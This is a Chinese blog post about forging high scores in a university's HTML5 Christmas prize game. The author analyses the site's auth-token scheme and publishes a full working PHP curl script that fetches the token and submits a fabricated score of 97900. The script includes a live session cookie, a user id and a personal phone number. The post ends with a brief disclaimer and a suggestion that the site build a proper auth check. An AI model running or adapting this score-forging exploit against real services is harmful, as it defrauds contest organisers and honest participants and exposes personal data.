刷一个基于html5开发的网页圣诞游戏

圣诞之际，到处都有很多庆祝的方式，学校一个学生技术团队出了一个圣诞网页游戏，上链接http://christmas.hustonline.net/game1。下面这是奖项，



主要是首页的奖品很诱人，从昨天也就是平安夜这天开始就开始上线了，看了一下这基于html5的游戏确实还不赖，个人觉得js这个发展趋势还是真的不容小觑啊！然后想着要看能不能外挂一下的！结果昨天很容易就破了，因为虽然js前台写的很好，但是后台没什么判断，处理的比较粗糙。因此和别人说了之后，今天圣诞节就改进了不少，每次提交分数的时候先请求一个auth密文，然后再和分数一起发回服务器进行判断，其中还特别是用了cookie存储了用户id和一段加密字符。为此是用了php的curl库，开始了刷分的过程。

首先，在手动玩一次之后，开启网络后台发现js异步发送了两个请求，如下图：



第一个是先获取auth密文，查看详细信息可以发现发送的内容和返回的内容，如下：


（ajax post的数据）


（返回的auth密文）

这些密文将在第二个请求中按照一定的规则发送到后台进行验证。下面分析第二个请求的内容：



经过多次试验，发现发送的数据前两对数据就是来自第一次请求返回的四个密文，分布是按照第一个请求返回的index数组去掉对应个数个字符后截取8个和13个字符组成发送请求的信息。然后再加上name、score等其他信息一起发送即可。经过以上分析，最终的源码给出如下：

<?php
set_time_limit(60);
ignore_user_abort(true);
date_default_timezone_set('PRC');
error_reporting(0);
$start = microtime(true);

//获取auth
echo "<strong>开始发送请求end_auth...</strong><br/>";
$headers['Content-Type'] = 'application/x-www-form-urlencoded';
$headers['Content-Length'] = 20;
$headers['Accept-Charset'] = 'UTF-8,*;q=0.5';
$headers['Host'] = 'christmas.hustonline.net';
$headers['Accept-Encoding'] = 'gzip,deflate,sdch';
$headers['Origin'] = 'http://christmas.hustonline.net';
$headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.43 Safari/537.31';
//$headers['X-Requested-With'] = 'XMLHttpRequest';
$headers['Referer'] = 'http://christmas.hustonline.net/game1';
$cookieStr = 'Hm_lvt_9b10ce606494df8b25b4ee1e6c00852d=1385282383,1386344607; uid=4007; PHPSESSID=thgk7nd8b637ll0hlcsrosq550';

$postStr1 = "ARG1=0&ARG2=1&ARG3=2";
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, "http://christmas.hustonline.net/game1/end_auth");
curl_setopt ($ch, CURLOPT_HTTPHEADER , $headers );
curl_setopt( $ch, CURLOPT_HEADER, 0);   //不返回响应头信息
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1);   //保留返回状态信息
curl_setopt($ch, CURLOPT_COOKIE,$cookieStr);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postStr1);
$backInfo = curl_exec($ch);
curl_close ($ch);
$auth = json_decode($backInfo,true);
//auth为一个二维数组，index包含四个数字和keys包含四个加密字符串echo "<pre>";var_dump($auth);echo "</pre>";

//构造对应的index起始的8个和13个字符的请求字符串
$authIndex1 = substr($auth['keys'][0],$auth['index'][0],8);
$authKeys1 = substr($auth['keys'][1],$auth['index'][1],13);
$authIndex2 = substr($auth['keys'][2],$auth['index'][2],8);
$authKeys2 = substr($auth['keys'][3],$auth['index'][3],13);
$msg = json_encode(array($authIndex1=>$authKeys1,$authIndex2=>$authKeys2,"name"=>"oshyn","score"=>97900,"tel"=>13647215948,"game"=>1));
$postStr =  "msg=${msg}";
//print $postStr."\n";

//请求刷分数
$scoreHeader = array();
$scoreHeader['Accept'] = '*/*';
$scoreHeader['Accept-Charset'] = 'UTF-8,*;q=0.5';
$scoreHeader['Accept-Language'] = 'zh-CN,zh;q=0.8';
$scoreHeader['Connection'] = 'keep-alive';
$scoreHeader['Content-Length'] = strlen($postStr);
$scoreHeader['Content-Type'] = 'application/x-www-form-urlencoded';
$scoreHeader['User-Agent'] = 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)';
$scoreHeader['PHPSESSID'] = 'thgk7nd8b637ll0hlcsrosq550';
$scoreHeader['Host'] = 'christmas.hustonline.net';
$scoreHeader['Origin'] = 'http://christmas.hustonline.net';
$scoreHeader['Referer'] = 'http://christmas.hustonline.net/game1';

$scoreCh = curl_init();
curl_setopt ($scoreCh, CURLOPT_URL, "http://christmas.hustonline.net/game1/upload_score");
curl_setopt ($scoreCh, CURLOPT_HTTPHEADER , $scoreHeader );
curl_setopt( $scoreCh, CURLOPT_HEADER, 0);   //不返回响应头信息
curl_setopt( $scoreCh, CURLOPT_RETURNTRANSFER, 1);   //保留返回状态信息
curl_setopt($scoreCh, CURLOPT_COOKIE,$cookieStr);
curl_setopt($scoreCh, CURLOPT_POST, true);
curl_setopt($scoreCh, CURLOPT_POSTFIELDS, $postStr);
$back = curl_exec($scoreCh);
curl_close ($scoreCh);
echo "<br><strong>返回结果:$back</strong>";
$end = microtime(true);
$taketime = sprintf('%.5f',$end - $start);
echo "<br/><strong>请求完成!用时${taketime}s.</strong><br/>";

?>

请求完成后，返回正确信息如下图所示：



完成之后，可以设置一个score分数值发送即可。当然这只是圣诞节活动，仅供娱乐，不支持使用任意恶性手段强制破解，也是出于对php的curl函数库的使用以及http协议的理解的基础和学习上娱乐而已。和别人交流的时候，有人说用TCP层传输分数等信息会更安全，不如这个游戏是基于html5的，因此只有现代浏览器支持，因此可以使用websocket来传输，不过原理都差不多。其实这个就是要构造一个完善的auth验证机制防止刷分。

最后还是祝大家圣诞节快乐！